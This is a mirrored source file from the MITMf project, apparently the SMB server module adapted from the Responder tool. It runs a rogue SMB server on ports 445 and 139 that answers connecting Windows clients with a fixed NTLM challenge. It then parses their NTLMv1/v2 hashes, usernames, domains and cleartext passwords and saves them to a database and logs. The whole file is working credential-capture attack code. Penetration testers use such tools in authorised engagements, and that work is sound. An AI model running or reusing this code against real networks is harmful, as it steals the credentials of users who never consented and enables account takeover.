mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2024-10-17 20:50:35 -07:00
22a43df4f8
Fixed a bug where the SSLStrip proxy wouldn't allow caching if the AppCache poison plugin is enabled HTTP and SMB servers now listen on all interfaces
434 lines
17 KiB
Python
434 lines
17 KiB
Python
#!/usr/bin/env python
|
|
# This file is part of Responder
|
|
# Original work by Laurent Gaffie - Trustwave Holdings
|
|
#
|
|
# This program is free software: you can redistribute it and/or modify
|
|
# it under the terms of the GNU General Public License as published by
|
|
# the Free Software Foundation, either version 3 of the License, or
|
|
# (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful,
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
# GNU General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
import struct
|
|
import core.responder.settings as settings
|
|
import threading
|
|
import socket
|
|
|
|
from random import randrange
|
|
from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
|
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
|
from core.responder.utils import *
|
|
|
|
class SMB:
|
|
|
|
def start(self):
|
|
try:
|
|
#if OsInterfaceIsSupported():
|
|
# server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
|
|
# server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
|
|
#else:
|
|
server1 = ThreadingTCPServer(('0.0.0.0', 445), SMB1)
|
|
server2 = ThreadingTCPServer(('0.0.0.0', 139), SMB1)
|
|
|
|
for server in [server1, server2]:
|
|
t = threading.Thread(name='SMB', target=server.serve_forever)
|
|
t.setDaemon(True)
|
|
t.start()
|
|
except Exception as e:
|
|
print "Error starting SMB server: {}".format(e)
|
|
|
|
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
|
|
|
allow_reuse_address = 1
|
|
|
|
def server_bind(self):
|
|
if OsInterfaceIsSupported():
|
|
try:
|
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
|
except:
|
|
pass
|
|
TCPServer.server_bind(self)
|
|
|
|
# Detect if SMB auth was Anonymous
|
|
def Is_Anonymous(data):
|
|
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
|
|
|
if SecBlobLen < 260:
|
|
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
|
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
|
|
|
if SecBlobLen > 260:
|
|
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
|
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
|
|
|
def Is_LMNT_Anonymous(data):
|
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
|
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
|
|
|
#Function used to know which dialect number to return for NT LM 0.12
|
|
def Parse_Nego_Dialect(data):
|
|
packet = data
|
|
try:
|
|
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
|
|
|
|
if Dialect[0] == "NT LM 0.12":
|
|
return "\x00\x00"
|
|
if Dialect[1] == "NT LM 0.12":
|
|
return "\x01\x00"
|
|
if Dialect[2] == "NT LM 0.12":
|
|
return "\x02\x00"
|
|
if Dialect[3] == "NT LM 0.12":
|
|
return "\x03\x00"
|
|
if Dialect[4] == "NT LM 0.12":
|
|
return "\x04\x00"
|
|
if Dialect[5] == "NT LM 0.12":
|
|
return "\x05\x00"
|
|
if Dialect[6] == "NT LM 0.12":
|
|
return "\x06\x00"
|
|
if Dialect[7] == "NT LM 0.12":
|
|
return "\x07\x00"
|
|
if Dialect[8] == "NT LM 0.12":
|
|
return "\x08\x00"
|
|
if Dialect[9] == "NT LM 0.12":
|
|
return "\x09\x00"
|
|
if Dialect[10] == "NT LM 0.12":
|
|
return "\x0a\x00"
|
|
if Dialect[11] == "NT LM 0.12":
|
|
return "\x0b\x00"
|
|
if Dialect[12] == "NT LM 0.12":
|
|
return "\x0c\x00"
|
|
if Dialect[13] == "NT LM 0.12":
|
|
return "\x0d\x00"
|
|
if Dialect[14] == "NT LM 0.12":
|
|
return "\x0e\x00"
|
|
if Dialect[15] == "NT LM 0.12":
|
|
return "\x0f\x00"
|
|
except Exception:
|
|
print 'Exception on Parse_Nego_Dialect! Packet hexdump:'
|
|
print hexdump(packet)
|
|
|
|
#Set MID SMB Header field.
|
|
def midcalc(data):
|
|
pack=data[34:36]
|
|
return pack
|
|
|
|
#Set UID SMB Header field.
|
|
def uidcalc(data):
|
|
pack=data[32:34]
|
|
return pack
|
|
|
|
#Set PID SMB Header field.
|
|
def pidcalc(data):
|
|
pack=data[30:32]
|
|
return pack
|
|
|
|
#Set TID SMB Header field.
|
|
def tidcalc(data):
|
|
pack=data[28:30]
|
|
return pack
|
|
|
|
def ParseShare(data):
|
|
packet = data[:]
|
|
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
|
if a:
|
|
settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
|
|
|
|
#Parse SMB NTLMSSP v1/v2
|
|
def ParseSMBHash(data,client):
|
|
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
|
BccLen = struct.unpack('<H',data[61:63])[0]
|
|
|
|
if SecBlobLen < 260:
|
|
SSPIStart = data[75:]
|
|
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
|
LMhashOffset = struct.unpack('<H',data[91:93])[0]
|
|
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
|
NthashLen = struct.unpack('<H',data[97:99])[0]
|
|
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
|
|
|
else:
|
|
SSPIStart = data[79:]
|
|
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
|
LMhashOffset = struct.unpack('<H',data[95:97])[0]
|
|
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
|
NthashLen = struct.unpack('<H',data[101:103])[0]
|
|
NthashOffset = struct.unpack('<H',data[103:105])[0]
|
|
|
|
if NthashLen == 24:
|
|
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
|
DomainLen = struct.unpack('<H',data[105:107])[0]
|
|
DomainOffset = struct.unpack('<H',data[107:109])[0]
|
|
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
|
UserLen = struct.unpack('<H',data[113:115])[0]
|
|
UserOffset = struct.unpack('<H',data[115:117])[0]
|
|
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
|
|
|
SaveToDb({
|
|
'module': 'SMB',
|
|
'type': 'NTLMv1-SSP',
|
|
'client': client,
|
|
'user': Domain+'\\'+Username,
|
|
'hash': SMBHash,
|
|
'fullhash': WriteHash,
|
|
})
|
|
|
|
if NthashLen > 60:
|
|
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
|
DomainLen = struct.unpack('<H',data[109:111])[0]
|
|
DomainOffset = struct.unpack('<H',data[111:113])[0]
|
|
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
|
UserLen = struct.unpack('<H',data[117:119])[0]
|
|
UserOffset = struct.unpack('<H',data[119:121])[0]
|
|
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
|
|
|
SaveToDb({
|
|
'module': 'SMB',
|
|
'type': 'NTLMv2-SSP',
|
|
'client': client,
|
|
'user': Domain+'\\'+Username,
|
|
'hash': SMBHash,
|
|
'fullhash': WriteHash,
|
|
})
|
|
|
|
# Parse SMB NTLMv1/v2
|
|
def ParseLMNTHash(data, client):
|
|
|
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
|
NthashLen = struct.unpack('<H',data[53:55])[0]
|
|
Bcc = struct.unpack('<H',data[63:65])[0]
|
|
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
|
|
|
|
if NthashLen > 25:
|
|
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
|
|
LmHash = FullHash[:32].upper()
|
|
NtHash = FullHash[32:].upper()
|
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
|
|
|
|
SaveToDb({
|
|
'module': 'SMB',
|
|
'type': 'NTLMv2',
|
|
'client': client,
|
|
'user': Domain+'\\'+Username,
|
|
'hash': NtHash,
|
|
'fullhash': WriteHash,
|
|
})
|
|
|
|
if NthashLen == 24:
|
|
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
|
LmHash = data[65:65+LMhashLen].encode('hex').upper()
|
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
|
|
|
|
SaveToDb({
|
|
'module': 'SMB',
|
|
'type': 'NTLMv1',
|
|
'client': client,
|
|
'user': Domain+'\\'+Username,
|
|
'hash': NtHash,
|
|
'fullhash': WriteHash,
|
|
})
|
|
|
|
def IsNT4ClearTxt(data, client):
|
|
HeadLen = 36
|
|
|
|
if data[14:16] == "\x03\x80":
|
|
SmbData = data[HeadLen+14:]
|
|
WordCount = data[HeadLen]
|
|
ChainedCmdOffset = data[HeadLen+1]
|
|
|
|
if ChainedCmdOffset == "\x75":
|
|
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
|
|
|
if PassLen > 2:
|
|
|
|
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
|
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
|
settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
|
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
|
|
|
# SMB Server class, NTLMSSP
|
|
class SMB1(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
try:
|
|
while True:
|
|
data = self.request.recv(1024)
|
|
self.request.settimeout(1)
|
|
|
|
if len(data) < 1:
|
|
break
|
|
|
|
##session request 139
|
|
if data[0] == "\x81":
|
|
Buffer = "\x82\x00\x00\x00"
|
|
try:
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
except:
|
|
pass
|
|
|
|
# Negociate Protocol Response
|
|
if data[8:10] == "\x72\x00":
|
|
# \x72 == Negociate Protocol Response
|
|
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
|
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
|
Body.calculate()
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
# Session Setup AndX Request
|
|
if data[8:10] == "\x73\x00":
|
|
IsNT4ClearTxt(data, self.client_address[0])
|
|
|
|
# STATUS_MORE_PROCESSING_REQUIRED
|
|
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
|
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
|
Body.calculate()
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(4096)
|
|
|
|
# STATUS_SUCCESS
|
|
if data[8:10] == "\x73\x00":
|
|
if Is_Anonymous(data):
|
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
|
Body = SMBSessEmpty()
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
|
|
else:
|
|
# Parse NTLMSSP_AUTH packet
|
|
ParseSMBHash(data,self.client_address[0])
|
|
|
|
# Send STATUS_SUCCESS
|
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
Body = SMBSession2Accept()
|
|
Body.calculate()
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
# Tree Connect AndX Request
|
|
if data[8:10] == "\x75\x00":
|
|
ParseShare(data)
|
|
# Tree Connect AndX Response
|
|
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
|
Body = SMBTreeData()
|
|
Body.calculate()
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
##Tree Disconnect.
|
|
if data[8:10] == "\x71\x00":
|
|
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
Body = "\x00\x00\x00"
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
##NT_CREATE Access Denied.
|
|
if data[8:10] == "\xa2\x00":
|
|
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
Body = "\x00\x00\x00"
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
##Trans2 Access Denied.
|
|
if data[8:10] == "\x25\x00":
|
|
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
Body = "\x00\x00\x00"
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
##LogOff.
|
|
if data[8:10] == "\x74\x00":
|
|
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
|
|
|
Packet = str(Header)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
except socket.timeout:
|
|
pass
|
|
|
|
# SMB Server class, old version
|
|
class SMB1LM(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
try:
|
|
self.request.settimeout(0.5)
|
|
data = self.request.recv(1024)
|
|
|
|
##session request 139
|
|
if data[0] == "\x81":
|
|
Buffer = "\x82\x00\x00\x00"
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
##Negotiate proto answer.
|
|
if data[8:10] == "\x72\x00":
|
|
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
|
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
|
Body.calculate()
|
|
Packet = str(head)+str(Body)
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
##Session Setup AndX Request
|
|
if data[8:10] == "\x73\x00":
|
|
if Is_LMNT_Anonymous(data):
|
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
Packet = str(head)+str(SMBSessEmpty())
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
self.request.send(Buffer)
|
|
|
|
else:
|
|
ParseLMNTHash(data,self.client_address[0])
|
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
Packet = str(head)+str(SMBSessEmpty())
|
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
self.request.send(Buffer)
|
|
data = self.request.recv(1024)
|
|
|
|
except Exception:
|
|
self.request.close()
|
|
pass
|